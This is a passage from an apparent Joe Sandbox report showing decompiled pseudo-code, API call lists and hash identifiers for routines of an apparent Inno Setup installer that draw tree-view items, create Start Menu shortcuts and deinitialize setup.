                                                          				void* _t560;
                                                          
                                                          				_t482 = __edx;
                                                          				_t535 = _t536;
                                                          				_push(__edi);
                                                          				_v124 = 0;
                                                          				_t256 = memcpy( &_v72, __ecx, 4 << 2);
                                                          				_t538 = _t536 + 0xffffffffffffff94;
                                                          				_t458 = 0;
                                                          				_v12 = _t482;
                                                          				_v8 = _t256;
                                                          				_push(_t536);
                                                          				_push(0x44d8f0);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t538;
                                                          				if( *((char*)(_v8 + 0x164)) != 0 &&  *((char*)(_v8 + 0x174)) == 0) {
                                                          					E0044E958(_v8);
                                                          					 *((char*)(_v8 + 0x174)) = 1;
                                                          				}
                                                          				_t522 = E0044DDD8(_v8);
                                                          				if( *0x48d744 == 0) {
                                                          					__eflags = 0;
                                                          					_v44 = 0;
                                                          				} else {
                                                          					_v44 = SendMessageA(E004183F8(_v8), 0x129, 0, 0);
                                                          				}
                                                          				if( *((char*)(_v8 + 0x38)) == 0 ||  *((char*)(_t522 + 4)) == 0) {
                                                          					_t263 = 1;
                                                          				} else {
                                                          					_t263 = 0;
                                                          				}
                                                          				_v13 = _t263;
                                                          				_t531 =  *(_v8 + 0x104);
                                                          				if( *(_v8 + 0x16c) != 0) {
                                                          					_t546 = _a4 & 0x00000001;
                                                          					if((_a4 & 0x00000001) != 0) {
                                                          						E0041A8C4( *((intOrPtr*)(_t531 + 0x14)),  *((intOrPtr*)(_v8 + 0x48)), _t546);
                                                          					}
                                                          				}
                                                          				_t266 = _v8;
                                                          				_t547 =  *((char*)(_t266 + 0x164));
                                                          				if( *((char*)(_t266 + 0x164)) == 0) {
                                                          					L31:
                                                          					if( *((char*)(_t522 + 8)) == 0) {
                                                          						L62:
                                                          						E0041AE78(_t531, _t458,  &_v72, _t522);
                                                          						_v72 = _v72 + 1;
                                                          						_v40 = GetTextColor(E0041B2AC(_t531));
                                                          						if(_v13 == 0) {
                                                          							__eflags =  *(_v8 + 0x16c);
                                                          							if(__eflags != 0) {
                                                          								_t327 = E0041A270( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x44)) + 0x10)));
                                                          								SetTextColor(E0041B2AC(_t531), _t327);
                                                          							}
                                                          						} else {
                                                          							if( *(_v8 + 0x16c) == 0 && (_a4 & 0x00000001) == 0) {
                                                          								_t332 = GetSysColor(0x11);
                                                          								SetTextColor(E0041B2AC(_t531), _t332);
                                                          							}
                                                          						}
                                                          						_t573 =  *((intOrPtr*)(_t522 + 0x14));
                                                          						if( *((intOrPtr*)(_t522 + 0x14)) == 0) {
                                                          							_t199 =  &_v64;
                                                          							 *_t199 = _v64 -  *((intOrPtr*)(_v8 + 0x158));
                                                          							__eflags =  *_t199;
                                                          						} else {
                                                          							_v48 = E0041B144(_t531, _t458,  *((intOrPtr*)(_t522 + 0x14)), _t522, _t573) +  *((intOrPtr*)(_v8 + 0x158)) +  *((intOrPtr*)(_v8 + 0x158));
                                                          							memcpy( &_v104,  &_v72, 4 << 2);
                                                          							_t538 = _t538 + 0xc;
                                                          							_t522 = _t522;
                                                          							_t531 = _t531;
                                                          							_v104 = _v96 - _v48 +  *((intOrPtr*)(_v8 + 0x158));
                                                          							E0044D1EC( *((intOrPtr*)(_t522 + 0x14)), 0x924,  &_v104,  *(_v8 + 0x16c) & _v13, _t535);
                                                          							_v64 = _v64 - _v48;
                                                          						}
                                                          						if( *(_v8 + 0x16c) == 0) {
                                                          							_v72 = _v72 + 1;
                                                          						}
                                                          						_t278 = _v60 - _v68 -  *((intOrPtr*)(_t522 + 0x38));
                                                          						_t279 = _t278 >> 1;
                                                          						if(_t278 < 0) {
                                                          							asm("adc eax, 0x0");
                                                          						}
                                                          						OffsetRect( &_v72, 0, _t279);
                                                          						_v36 = 0x40110;
                                                          						if( *(_v8 + 0x16c) == 0 ||  *((char*)(_t522 + 8)) == 0) {
                                                          							_v36 = _v36 | 0x00000800;
                                                          						}
                                                          						if((_v44 & 0x00000002) != 0) {
                                                          							_v36 = _v36 | 0x00100000;
                                                          						}
                                                          						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xfc)))) + 0xc))();
                                                          						E0044D1EC(_v124, _v36 | 0x00000400,  &_v72, 0, _t535);
                                                          						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xfc)))) + 0xc))();
                                                          						E0044D1EC(_v124, _v36,  &_v72,  *(_v8 + 0x16c) & _v13, _t535);
                                                          						if( *(_v8 + 0x16c) != 0 && _v13 == 0 && (_a4 & 0x00000001) != 0 && E004183B0(_v8) != 0 && (_v44 & 0x00000001) == 0) {
                                                          							memcpy( &_v120,  &_v72, 4 << 2);
                                                          							_t531 = _t531;
                                                          							InflateRect( &_v120, 1, 1);
                                                          							E0041ADFC(_t531,  &_v120);
                                                          						}
                                                          						SetTextColor(E0041B2AC(_t531), _v40);
                                                          						_pop(_t489);
                                                          						 *[fs:eax] = _t489;
                                                          						_push(0x44d8f7);
                                                          						return E00403548( &_v124);
                                                          					}
                                                          					_t337 =  *((intOrPtr*)(_v8 + 0x158));
                                                          					_v72 = _v72 -  *(_v8 + 0x148) + _t337 + _t337;
                                                          					_v88.left = _t337 + _v72;
                                                          					_t339 = _v68;
                                                          					_t458 = _v8;
                                                          					_t502 = _v60 - _t339 -  *((intOrPtr*)(_v8 + 0x144));
                                                          					_t503 = _t502 >> 1;
                                                          					if(_t502 < 0) {
                                                          						asm("adc edx, 0x0");
                                                          					}
                                                          					_t504 = _t503 + _t339;
                                                          					_v88.top = _t504;
                                                          					_v88.bottom =  *((intOrPtr*)(_v8 + 0x144)) + _t504;
                                                          					_v88.right =  *(_v8 + 0x148) + _v88.left;
                                                          					if( *((intOrPtr*)(_v8 + 0x170)) != 0) {
                                                          						_v52 =  *0x0048C978;
                                                          						__eflags = _v13;
                                                          						if(__eflags == 0) {
                                                          							_t350 = _v8;
                                                          							__eflags =  *((intOrPtr*)(_t350 + 0x13c)) - _v12;
                                                          							if( *((intOrPtr*)(_t350 + 0x13c)) != _v12) {
                                                          								_t352 = _v8;
                                                          								__eflags =  *((intOrPtr*)(_t352 + 0x13c));
                                                          								if( *((intOrPtr*)(_t352 + 0x13c)) >= 0) {
                                                          									L59:
                                                          									__eflags = 0;
                                                          									_t452 =  *0x0048C984;
                                                          									L60:
                                                          									 *0x48d688( *((intOrPtr*)(_v8 + 0x170)), E0041B2AC(_t531), _v52, _t452,  &_v88,  &_v88);
                                                          									goto L61;
                                                          								}
                                                          								__eflags =  *((intOrPtr*)(_v8 + 0x178)) - _v12;
                                                          								if(__eflags != 0) {
                                                          									goto L59;
                                                          								}
                                                          								_t452 =  *0x0048C988;
                                                          								goto L60;
                                                          							}
                                                          							__eflags =  *((char*)(_v8 + 0x140));
                                                          							if(__eflags != 0) {
                                                          								L54:
                                                          								_t452 =  *0x0048C98C;
                                                          								goto L60;
                                                          							}
                                                          							__eflags =  *((intOrPtr*)(_v8 + 0x150)) - _v12;
                                                          							if(__eflags != 0) {
                                                          								_t452 =  *((intOrPtr*)(0x48c988));
                                                          								goto L60;
                                                          							}
                                                          							goto L54;
                                                          						}
                                                          						_t452 =  *0x0048C990;
                                                          						goto L60;
                                                          					} else {
                                                          						_t560 =  *((intOrPtr*)(_t522 + 0x10)) - 1;
                                                          						if(_t560 < 0) {
                                                          							_t453 =  *0x0048C96C;
                                                          						} else {
                                                          							if(_t560 != 0) {
                                                          								_t453 = 0x408;
                                                          							} else {
                                                          								_t453 =  *0x0048C96C | 0x00000400;
                                                          							}
                                                          						}
                                                          						if( *((char*)(_v8 + 0x14d)) != 0) {
                                                          							_t453 = _t453 | 0x00004000;
                                                          						}
                                                          						if(_v13 != 0) {
                                                          							_t453 = _t453 | 0x00000100;
                                                          						}
                                                          						if( *((intOrPtr*)(_v8 + 0x13c)) == _v12 && ( *((char*)(_v8 + 0x140)) != 0 ||  *((intOrPtr*)(_v8 + 0x150)) == _v12)) {
                                                          							_t453 = _t453 | 0x00000200;
                                                          						}
                                                          						DrawFrameControl(E0041B2AC(_t531),  &_v88, 4, _t453);
                                                          						L61:
                                                          						_v72 =  *((intOrPtr*)(_v8 + 0x158)) + _v88.right;
                                                          						goto L62;
                                                          					}
                                                          				}
                                                          				E0041A718( *((intOrPtr*)(_t531 + 0x10)), 0x80000011, _t547);
                                                          				_v28 = E0044DDE4(_v8, _v12) & 0x000000ff;
                                                          				_t406 = _v28 - 1;
                                                          				if(_t406 >= 0) {
                                                          					_v56 = _t406 + 1;
                                                          					_t455 = 0;
                                                          					do {
                                                          						E0044DDD8(_v8);
                                                          						_t550 = _t455 - 0xff;
                                                          						if(_t550 <= 0) {
                                                          							asm("bt [eax+0x18], edx");
                                                          						}
                                                          						if(_t550 < 0) {
                                                          							_t411 =  *(_v8 + 0x148);
                                                          							_t511 = (_t411 +  *((intOrPtr*)(_v8 + 0x158)) +  *((intOrPtr*)(_v8 + 0x158))) * _t455;
                                                          							_t412 = _t411 >> 1;
                                                          							if(_t511 < 0) {
                                                          								asm("adc eax, 0x0");
                                                          							}
                                                          							_v20 = _t511 + _t412 +  *((intOrPtr*)(_v8 + 0x158));
                                                          							_t514 = _v60;
                                                          							_t414 = _v68;
                                                          							_t480 = _t514 - _t414;
                                                          							_t481 = _t480 >> 1;
                                                          							if(_t480 < 0) {
                                                          								asm("adc ecx, 0x0");
                                                          							}
                                                          							_t458 = _t481 + _t414;
                                                          							_v32 = _t481 + _t414;
                                                          							_v24 = _t514;
                                                          							if(_t455 == _v28 - 1) {
                                                          								_t554 =  *((char*)(E0044DDD8(_v8) + 7));
                                                          								if(_t554 != 0) {
                                                          									_v24 = _v32;
                                                          								}
                                                          								_push( *(_v8 + 0x104));
                                                          								_push(E0044CC0C);
                                                          								_push(_v32);
                                                          								_t431 =  *(_v8 + 0x148) >> 1;
                                                          								if(_t554 < 0) {
                                                          									asm("adc eax, 0x0");
                                                          								}
                                                          								LineDDA(_v20, _v32, _t431 + _v20 +  *((intOrPtr*)(_v8 + 0x158)), ??, ??, ??);
                                                          							}
                                                          							LineDDA(_v20, _v68, _v20, _v24, E0044CC0C,  *(_v8 + 0x104));
                                                          						}
                                                          						_t455 = _t455 + 1;
                                                          						_t75 =  &_v56;
                                                          						 *_t75 = _v56 - 1;
                                                          					} while ( *_t75 != 0);
                                                          				}
                                                          			}




























































                                                          0x0044d2f0
                                                          0x0044d2f1
                                                          0x0044d2f8
                                                          0x0044d2fb
                                                          0x0044d308
                                                          0x0044d308
                                                          0x0044d308
                                                          0x0044d30a
                                                          0x0044d30d
                                                          0x0044d312
                                                          0x0044d313
                                                          0x0044d318
                                                          0x0044d31b
                                                          0x0044d328
                                                          0x0044d339
                                                          0x0044d341
                                                          0x0044d341
                                                          0x0044d353
                                                          0x0044d35c
                                                          0x0044d37a
                                                          0x0044d37c
                                                          0x0044d35e
                                                          0x0044d375
                                                          0x0044d375
                                                          0x0044d386
                                                          0x0044d392
                                                          0x0044d38e
                                                          0x0044d38e
                                                          0x0044d38e
                                                          0x0044d394
                                                          0x0044d39a
                                                          0x0044d3aa
                                                          0x0044d3ac
                                                          0x0044d3b0
                                                          0x0044d3bb
                                                          0x0044d3bb
                                                          0x0044d3b0
                                                          0x0044d3c0
                                                          0x0044d3c3
                                                          0x0044d3ca
                                                          0x0044d4f4
                                                          0x0044d4f8
                                                          0x0044d6da
                                                          0x0044d6df
                                                          0x0044d6e4
                                                          0x0044d6f4
                                                          0x0044d6fb
                                                          0x0044d729
                                                          0x0044d730
                                                          0x0044d73b
                                                          0x0044d749
                                                          0x0044d749
                                                          0x0044d6fd
                                                          0x0044d707
                                                          0x0044d711
                                                          0x0044d71f
                                                          0x0044d71f
                                                          0x0044d707
                                                          0x0044d74e
                                                          0x0044d752
                                                          0x0044d7c1
                                                          0x0044d7c1
                                                          0x0044d7c1
                                                          0x0044d754
                                                          0x0044d76b
                                                          0x0044d77b
                                                          0x0044d77b
                                                          0x0044d77d
                                                          0x0044d77e
                                                          0x0044d78e
                                                          0x0044d7aa
                                                          0x0044d7b3
                                                          0x0044d7b3
                                                          0x0044d7ce
                                                          0x0044d7d0
                                                          0x0044d7d0
                                                          0x0044d7d9
                                                          0x0044d7dc
                                                          0x0044d7de
                                                          0x0044d7e0
                                                          0x0044d7e0
                                                          0x0044d7ea
                                                          0x0044d7ef
                                                          0x0044d800
                                                          0x0044d808
                                                          0x0044d808
                                                          0x0044d813
                                                          0x0044d815
                                                          0x0044d815
                                                          0x0044d830
                                                          0x0044d842
                                                          0x0044d867
                                                          0x0044d873
                                                          0x0044d883
                                                          0x0044d8af
                                                          0x0044d8b1
                                                          0x0044d8ba
                                                          0x0044d8c4
                                                          0x0044d8c4
                                                          0x0044d8d5
                                                          0x0044d8dc
                                                          0x0044d8df
                                                          0x0044d8e2
                                                          0x0044d8ef
                                                          0x0044d8ef
                                                          0x0044d50a
                                                          0x0044d516
                                                          0x0044d51c
                                                          0x0044d522
                                                          0x0044d527
                                                          0x0044d52a
                                                          0x0044d530
                                                          0x0044d532
                                                          0x0044d534
                                                          0x0044d534
                                                          0x0044d537
                                                          0x0044d539
                                                          0x0044d547
                                                          0x0044d556
                                                          0x0044d563
                                                          0x0044d60a
                                                          0x0044d60d
                                                          0x0044d611
                                                          0x0044d626
                                                          0x0044d62f
                                                          0x0044d632
                                                          0x0044d66e
                                                          0x0044d671
                                                          0x0044d678
                                                          0x0044d698
                                                          0x0044d69d
                                                          0x0044d69f
                                                          0x0044d6a6
                                                          0x0044d6c5
                                                          0x00000000
                                                          0x0044d6c5
                                                          0x0044d683
                                                          0x0044d686
                                                          0x00000000
                                                          0x00000000
                                                          0x0044d68f
                                                          0x00000000
                                                          0x0044d68f
                                                          0x0044d637
                                                          0x0044d63e
                                                          0x0044d64e
                                                          0x0044d655
                                                          0x00000000
                                                          0x0044d655
                                                          0x0044d649
                                                          0x0044d64c
                                                          0x0044d665
                                                          0x00000000
                                                          0x0044d665
                                                          0x00000000
                                                          0x0044d64c
                                                          0x0044d61a
                                                          0x00000000
                                                          0x0044d569
                                                          0x0044d56c
                                                          0x0044d56e
                                                          0x0044d58b
                                                          0x0044d570
                                                          0x0044d570
                                                          0x0044d594
                                                          0x0044d572
                                                          0x0044d57e
                                                          0x0044d57e
                                                          0x0044d570
                                                          0x0044d5a3
                                                          0x0044d5a5
                                                          0x0044d5a5
                                                          0x0044d5af
                                                          0x0044d5b1
                                                          0x0044d5b1
                                                          0x0044d5c3
                                                          0x0044d5df
                                                          0x0044d5df
                                                          0x0044d5f4
                                                          0x0044d6cb
                                                          0x0044d6d7
                                                          0x00000000
                                                          0x0044d6d7
                                                          0x0044d563
                                                          0x0044d3d8
                                                          0x0044d3ed
                                                          0x0044d3f3
                                                          0x0044d3f6
                                                          0x0044d3fd
                                                          0x0044d400
                                                          0x0044d402
                                                          0x0044d408
                                                          0x0044d40f
                                                          0x0044d415
                                                          0x0044d417
                                                          0x0044d417
                                                          0x0044d41b
                                                          0x0044d424
                                                          0x0044d439
                                                          0x0044d43c
                                                          0x0044d43e
                                                          0x0044d440
                                                          0x0044d440
                                                          0x0044d44e
                                                          0x0044d451
                                                          0x0044d456
                                                          0x0044d459
                                                          0x0044d45b
                                                          0x0044d45d
                                                          0x0044d45f
                                                          0x0044d45f
                                                          0x0044d462
                                                          0x0044d464
                                                          0x0044d467
                                                          0x0044d470
                                                          0x0044d47d
                                                          0x0044d481
                                                          0x0044d486
                                                          0x0044d486
                                                          0x0044d492
                                                          0x0044d493
                                                          0x0044d49b
                                                          0x0044d4a5
                                                          0x0044d4a7
                                                          0x0044d4a9
                                                          0x0044d4a9
                                                          0x0044d4c1
                                                          0x0044d4c1
                                                          0x0044d4e5
                                                          0x0044d4e5
                                                          0x0044d4ea
                                                          0x0044d4eb
                                                          0x0044d4eb
                                                          0x0044d4eb
                                                          0x0044d402

                                                          APIs
                                                          • SendMessageA.USER32(00000000,00000129,00000000,00000000), ref: 0044D370
                                                          • LineDDA.GDI32(?,?,?,?,Function_0004CC0C,?), ref: 0044D4C1
                                                          • LineDDA.GDI32(?,?,?,?,Function_0004CC0C,?), ref: 0044D4E5
                                                          • DrawFrameControl.USER32 ref: 0044D5F4
                                                            • Part of subcall function 0041AE78: FillRect.USER32 ref: 0041AEA0
                                                          • GetTextColor.GDI32(00000000), ref: 0044D6EF
                                                          • GetSysColor.USER32(00000011), ref: 0044D711
                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0044D71F
                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0044D749
                                                          • OffsetRect.USER32(00000000,00000000,?), ref: 0044D7EA
                                                          • InflateRect.USER32(?,00000001,00000001), ref: 0044D8BA
                                                          • SetTextColor.GDI32(00000000,?), ref: 0044D8D5
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Color$Text$Rect$Line$ControlDrawFillFrameInflateMessageOffsetSend
                                                          • String ID:
                                                          • API String ID: 3787931423-0
                                                          • Opcode ID: 8d3b795b23396b74c6bda2151974275fd6bbaad99acda5bf9f556032f60e7eca
                                                          • Instruction ID: 29825b675fd66129f00336e62122b199df2c2466ac734b8478b89012465c1a86
                                                          • Opcode Fuzzy Hash: 8d3b795b23396b74c6bda2151974275fd6bbaad99acda5bf9f556032f60e7eca
                                                          • Instruction Fuzzy Hash: 2B120C74E00248AFEB01DBA8C985BEEBBF5AF49304F1445A6E544E7352D738AE41CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 88%
                                                          			E0046A814(char __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr _a8, char _a12, char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
                                                          				char _v8;
                                                          				char _v9;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v25;
                                                          				char _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				char _v44;
                                                          				char _t143;
                                                          				signed char _t206;
                                                          				intOrPtr _t236;
                                                          				intOrPtr _t250;
                                                          				void* _t252;
                                                          				void* _t254;
                                                          				void* _t256;
                                                          				void* _t257;
                                                          				intOrPtr _t258;
                                                          				void* _t259;
                                                          
                                                          				_t259 = __eflags;
                                                          				_t256 = _t257;
                                                          				_t258 = _t257 + 0xffffffd8;
                                                          				_v32 = 0;
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_v24 = 0;
                                                          				_t252 = __ecx;
                                                          				_t254 = __edx;
                                                          				_v8 = __eax;
                                                          				E00403870(_v8);
                                                          				_push(_t256);
                                                          				_push(0x46ab24);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t258;
                                                          				E004038C0(_v8, 8, 1,  &_v32);
                                                          				E004037CC(_v32, "{group}\\");
                                                          				_v9 = _t259 == 0;
                                                          				E004717F8(_v8, 8,  &_v32);
                                                          				E004035DC( &_v8, _v32);
                                                          				E00403708( &_v16, 0x46ab50, _v8);
                                                          				E00403708( &_v20, 0x46ab60, _v8);
                                                          				_t206 =  *0x46ab68; // 0x8
                                                          				_t260 = _a16;
                                                          				if(_a16 == 0) {
                                                          					__eflags = _v9;
                                                          					if(_v9 != 0) {
                                                          						__eflags = _t206;
                                                          					}
                                                          				} else {
                                                          					_t206 = _t206 | 0x00000001;
                                                          				}
                                                          				_v40 = _v16;
                                                          				_v36 = 0xb;
                                                          				E00455A04("Filename: %s", _t206, 0,  &_v40, _t252, _t254);
                                                          				E00466AE0(_v16, _t206, 1, _t252, _t254, _t260);
                                                          				E0042C990(_v16, 0,  &_v32);
                                                          				E00467F84(0, _t206, _t206, _v32, _t252, _t254, _t260,  *((intOrPtr*)(_a40 + 8)));
                                                          				E00407064(_v16);
                                                          				E00407064(_v20);
                                                          				_t214 = _t252;
                                                          				E00454838(_v16, _t206, _t252, _t254, _t252, _t254,  &_v24, _a4, _a8, _a20, _a24, _a28, _a32, _a36);
                                                          				 *0x4ae294 = 1;
                                                          				_t261 = _a4;
                                                          				if(_a4 == 0 || E0042CE28(_t261) == 0) {
                                                          					_t143 = 0;
                                                          				} else {
                                                          					_t143 = 1;
                                                          				}
                                                          				_v25 = _t143;
                                                          				if(_a12 != 0) {
                                                          					_t264 = _v25;
                                                          					if(_v25 == 0) {
                                                          						E0042C9E8(_v24, _t214,  &_v32, _t264);
                                                          						if(E00406B28(_v32, 0x46ab60) == 0) {
                                                          							_push(_t256);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t258;
                                                          							E00453930(_v24, _t206, 0x46ab00 | _a12 == 0x00000001);
                                                          							_pop(_t250);
                                                          							_t214 = 0x46a9af;
                                                          							 *[fs:eax] = _t250;
                                                          						}
                                                          					}
                                                          				}
                                                          				if(_v25 == 0) {
                                                          					SHChangeNotify(2, 1, E00403880(_v24), 0);
                                                          				} else {
                                                          					SHChangeNotify(8, 1, E00403880(_v24), 0);
                                                          				}
                                                          				E0042C990(_v24, _t214,  &_v32);
                                                          				SHChangeNotify(0x1000, 0x1001, E00403880(_v32), 0);
                                                          				if(_a16 == 0) {
                                                          					_t269 = _v25;
                                                          					if(_v25 == 0) {
                                                          						_v44 = _v16;
                                                          						E00456F28( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0x20, 0);
                                                          						_v44 = _v20;
                                                          						E00456F28( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0x20, 0);
                                                          					} else {
                                                          						_v44 = _v24;
                                                          						E00456F28( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x81, _t252, _t254, 0x12, 0);
                                                          						E0042C614(_v24,  &_v32);
                                                          						E004036C4( &_v32, "target.lnk");
                                                          						_v44 = _v32;
                                                          						E00456F28( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0, 0);
                                                          						E0042C614(_v24,  &_v32);
                                                          						E004036C4( &_v32, "Desktop.ini");
                                                          						_v44 = _v32;
                                                          						E00456F28( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0, 0);
                                                          					}
                                                          				}
                                                          				E00466CCC(0x3e8, _t269);
                                                          				_pop(_t236);
                                                          				 *[fs:eax] = _t236;
                                                          				_push(0x46ab2b);
                                                          				E00403548( &_v32);
                                                          				E00403568( &_v24, 3);
                                                          				return E00403548( &_v8);
                                                          			}























                                                          0x0046a814
                                                          0x0046a815
                                                          0x0046a817
                                                          0x0046a81f
                                                          0x0046a822
                                                          0x0046a825
                                                          0x0046a828
                                                          0x0046a82b
                                                          0x0046a82d
                                                          0x0046a82f
                                                          0x0046a835
                                                          0x0046a83c
                                                          0x0046a83d
                                                          0x0046a842
                                                          0x0046a845
                                                          0x0046a859
                                                          0x0046a866
                                                          0x0046a86b
                                                          0x0046a875
                                                          0x0046a880
                                                          0x0046a890
                                                          0x0046a8a0
                                                          0x0046a8a5
                                                          0x0046a8ab
                                                          0x0046a8af
                                                          0x0046a8b6
                                                          0x0046a8ba
                                                          0x0046a8bc
                                                          0x0046a8bc
                                                          0x0046a8b1
                                                          0x0046a8b1
                                                          0x0046a8b1
                                                          0x0046a8c2
                                                          0x0046a8c5
                                                          0x0046a8d3
                                                          0x0046a8dd
                                                          0x0046a8ef
                                                          0x0046a8fb
                                                          0x0046a904
                                                          0x0046a90c
                                                          0x0046a932
                                                          0x0046a939
                                                          0x0046a93e
                                                          0x0046a945
                                                          0x0046a949
                                                          0x0046a957
                                                          0x0046a95b
                                                          0x0046a95b
                                                          0x0046a95b
                                                          0x0046a95d
                                                          0x0046a964
                                                          0x0046a966
                                                          0x0046a96a
                                                          0x0046a972
                                                          0x0046a986
                                                          0x0046a98a
                                                          0x0046a990
                                                          0x0046a993
                                                          0x0046a9a0
                                                          0x0046a9a7
                                                          0x0046a9a9
                                                          0x0046a9aa
                                                          0x0046a9aa
                                                          0x0046a986
                                                          0x0046a96a
                                                          0x0046a9bd
                                                          0x0046a9e4
                                                          0x0046a9bf
                                                          0x0046a9ce
                                                          0x0046a9ce
                                                          0x0046a9f1
                                                          0x0046aa09
                                                          0x0046aa12
                                                          0x0046aa18
                                                          0x0046aa1c
                                                          0x0046aab8
                                                          0x0046aacb
                                                          0x0046aad7
                                                          0x0046aaea
                                                          0x0046aa22
                                                          0x0046aa29
                                                          0x0046aa3c
                                                          0x0046aa4b
                                                          0x0046aa58
                                                          0x0046aa60
                                                          0x0046aa73
                                                          0x0046aa82
                                                          0x0046aa8f
                                                          0x0046aa97
                                                          0x0046aaaa
                                                          0x0046aaaa
                                                          0x0046aa1c
                                                          0x0046aaf4
                                                          0x0046aafb
                                                          0x0046aafe
                                                          0x0046ab01
                                                          0x0046ab09
                                                          0x0046ab16
                                                          0x0046ab23

                                                          APIs
                                                          • SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046A9CE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ChangeNotify
                                                          • String ID: .lnk$.pif$Desktop.ini$Filename: %s$target.lnk${group}\
                                                          • API String ID: 3893256919-3966328851
                                                          • Opcode ID: 9da8b10eac19d506992f30dfad9fe59346644c67ed2cc8e8f142a27cfd7fa1a0
                                                          • Instruction ID: cb0f44c2eacfa593aecfd76b13abc03a808929be95f0810db82bab9681137302
                                                          • Opcode Fuzzy Hash: 9da8b10eac19d506992f30dfad9fe59346644c67ed2cc8e8f142a27cfd7fa1a0
                                                          • Instruction Fuzzy Hash: 46A14174A001499FDB00DF95C882BEEBBF4AF08304F50856AF914B7391D678AE45CB6A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E004760BC(void* __eax, void* __ebx, intOrPtr __edi, void* __esi, void* __eflags, void* __fp0) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				intOrPtr* _t32;
                                                          				intOrPtr* _t34;
                                                          				intOrPtr* _t36;
                                                          				intOrPtr* _t38;
                                                          				struct HINSTANCE__* _t67;
                                                          				struct HINSTANCE__* _t69;
                                                          				intOrPtr* _t71;
                                                          				intOrPtr* _t74;
                                                          				signed int _t75;
                                                          				intOrPtr* _t78;
                                                          				intOrPtr* _t81;
                                                          				signed int _t82;
                                                          				intOrPtr _t87;
                                                          				intOrPtr _t93;
                                                          				intOrPtr _t95;
                                                          				void* _t99;
                                                          				void* _t101;
                                                          				void* _t102;
                                                          				intOrPtr _t121;
                                                          				intOrPtr _t122;
                                                          				intOrPtr _t124;
                                                          				void* _t127;
                                                          				void* _t130;
                                                          				intOrPtr _t132;
                                                          				intOrPtr _t134;
                                                          				void* _t139;
                                                          				void* _t141;
                                                          				void* _t142;
                                                          				intOrPtr _t143;
                                                          
                                                          				_t165 = __fp0;
                                                          				_t135 = __edi;
                                                          				_t141 = _t142;
                                                          				_t143 = _t142 + 0xfffffff4;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v16 = 0;
                                                          				_t99 = __eax;
                                                          				_push(_t141);
                                                          				_push(0x476361);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t143;
                                                          				E00455814("Deinitializing Setup.", __eax, __edi, __esi);
                                                          				if( *0x4ae298 != 0) {
                                                          					_t146 = _t99;
                                                          					if(_t99 != 0) {
                                                          						_push(_t141);
                                                          						_push(0x476137);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t143;
                                                          						_t93 =  *0x4ae290; // 0x0
                                                          						_v12 = 0;
                                                          						_v8 = 0xb;
                                                          						_t95 =  *0x4ae298; // 0x21edcfc
                                                          						 *0x4ae290 = E004876A0(_t95,  &_v12, "GetCustomSetupExitCode", _t146, __fp0, _t93, 0, 0);
                                                          						_pop(_t134);
                                                          						 *[fs:eax] = _t134;
                                                          					}
                                                          					_push(_t141);
                                                          					_push(0x47618e);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t143;
                                                          					_v12 = 0;
                                                          					_v8 = 0xb;
                                                          					_t87 =  *0x4ae298; // 0x21edcfc
